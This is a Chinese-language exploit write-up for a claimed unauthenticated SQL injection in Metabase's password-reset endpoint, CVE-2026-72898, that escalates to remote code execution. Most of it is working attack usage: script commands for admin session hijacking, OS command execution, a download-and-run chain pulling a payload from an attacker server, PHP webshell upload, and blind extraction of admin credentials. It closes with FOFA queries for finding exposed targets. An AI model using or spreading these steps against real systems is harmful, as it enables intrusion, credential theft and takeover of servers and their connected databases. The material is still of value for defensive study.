漏洞简介
CVE-2026-72898 是 Metabase 中的 Critical 级别 SQL 注入漏洞,该漏洞存在于密码重置接口
/api/session/reset_password中,核心问题是后端在处理请求体时未对未声明字段实施过滤,攻击者可通过注入user-id字段将任意 SQL 代码传入数据库查询,结合 Metabase 默认使用超级用户连接应用数据库的特性,进一步通过 PostgreSQL 的COPY ... TO PROGRAM语句实现远程代码执行。通过逆向分析漏洞利用链,攻击者无需任何身份认证即可向 Metabase 实例发送恶意请求,成功利用后可获得以下操作:获取系统权限、窃取所有数据库连接凭证、读取业务数据、横向渗透内网、完全接管 Metabase 实例及其连接的后端数据库。
该漏洞的影响链路:发现暴露的 Metabase → 调用
/api/session/reset_password注入 SQL → 堆叠查询突破括号限制 → 使用COPY ... TO PROGRAM执行系统命令 → 接管应用数据库主机。
影响范围
漏洞复现
准备环境
步骤 1:目标检测
使用 PoC 脚本检测目标是否运行存在漏洞的 Metabase:
python3 CVE-2026-72898_exp.py check http://TARGET_IP脚本将通过以下方式确认目标:
调用
/api/session/properties接口获取版本信息
匹配已知受影响版本区间
向
/api/session/reset_password发送探测请求验证端点存在
步骤 2:Session 旁路注入验证
验证是否可通过注入创建管理员会话:
python3 CVE-2026-72898_exp.py poc http://TARGET_IP --backend postgres --hijack -v成功响应示例:
```
[=] Target: http://TARGET_IP
[1] SQL Injection — admin session creation via side-effect
Payload: user-id = {raw: (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)}
HTTP 400 body={"message":"..."}
[+] 400 is EXPECTED — the handler rejects because :success? is false.
[+] A new admin session was created as a side-effect in the DB.
[3] Postgres: full session hijack via stacked INSERT
Planting session: id=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx key=yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
sha512(key)=a3f2b8...
Injection: HTTP 400 body={"message":"..."}
GET /api/user/current: HTTP 200
[+] AUTHENTICATED as: [email protected] (id=1, superuser=True)
┌─────────────────────────────────────────┐
│ PoC reproduced — full admin takeover │
└─────────────────────────────────────────┘
```步骤 3:远程命令执行(RCE via COPY TO PROGRAM)
在确认 PostgreSQL 后端后,直接执行系统命令:
python3 CVE-2026-72898_exp.py exploit http://TARGET_IP --cmd "id" -v或从攻击服务器下载并执行 payloads:
python3 CVE-2026-72898_exp.py exploit http://TARGET_IP \
--url http://ATTACKER-SERVER/payload --os auto -v当 --url 提供时,exploit 会构建一套多工具 fallback 下载链(curl → wget → PowerShell → certutil → python),在数据库主机上下载并执行 payload:
```
[*] Target: http://TARGET_IP
[*] detected app-DB host OS: linux
[*] Linux stage: curl -> wget -> chmod -> run
[*] COPY TO PROGRAM (linux) -> HTTP 400 (400 is expected; SQL executed)
[*] exploited 1/1 target(s)
```步骤 4:Webshell 上传
上传带密钥保护的 PHP webshell 到 Web 可访问目录:
python3 CVE-2026-72898_exp.py webshell http://TARGET_IP \
--web-root /var/www/html --shell-name shell.php --verify -v成功后的访问方式:
http://TARGET_IP/shell.php?token=<KEY>&q=id步骤 5:盲注数据提取
通过 DB-call 计数 oracle 盲取管理员凭据:
python3 CVE-2026-72898_exp.py extract http://TARGET_IP \
--container metabase-vulnerable --backend postgres -v输出示例:
```
============================================================
GHSA-vwf4-m7j8-wcjf — Blind Data Extraction
Oracle: >2 DB calls = TRUE, <=2 DB calls = FALSE
============================================================
[*] Log oracle: docker container metabase-vulnerable
[*] Verifying oracle...
trying backend dialect: h2
1=1 → FALSE
trying backend dialect: postgres
1=1 → TRUE
1=0 → FALSE
[+] Oracle confirmed with backend dialect: postgres
[superadmin count] = 1
[admin user ID] = 1
[*] Extracting admin record...
[email] extracting: [email protected]
[first_name] extracting: John
[last_name] extracting: Doe
[password_hash] extracting: $2a$10$...
============================================================
EXTRACTED ADMIN RECORD
============================================================
ID: 1
Email: [email protected]
First Name: John
Last Name: Doe
Password Hash: $2a$10$...
============================================================
```FOFA 语法
body="metabase" && port="3000"或精确匹配:
body="/api/session/login" && body="metabase"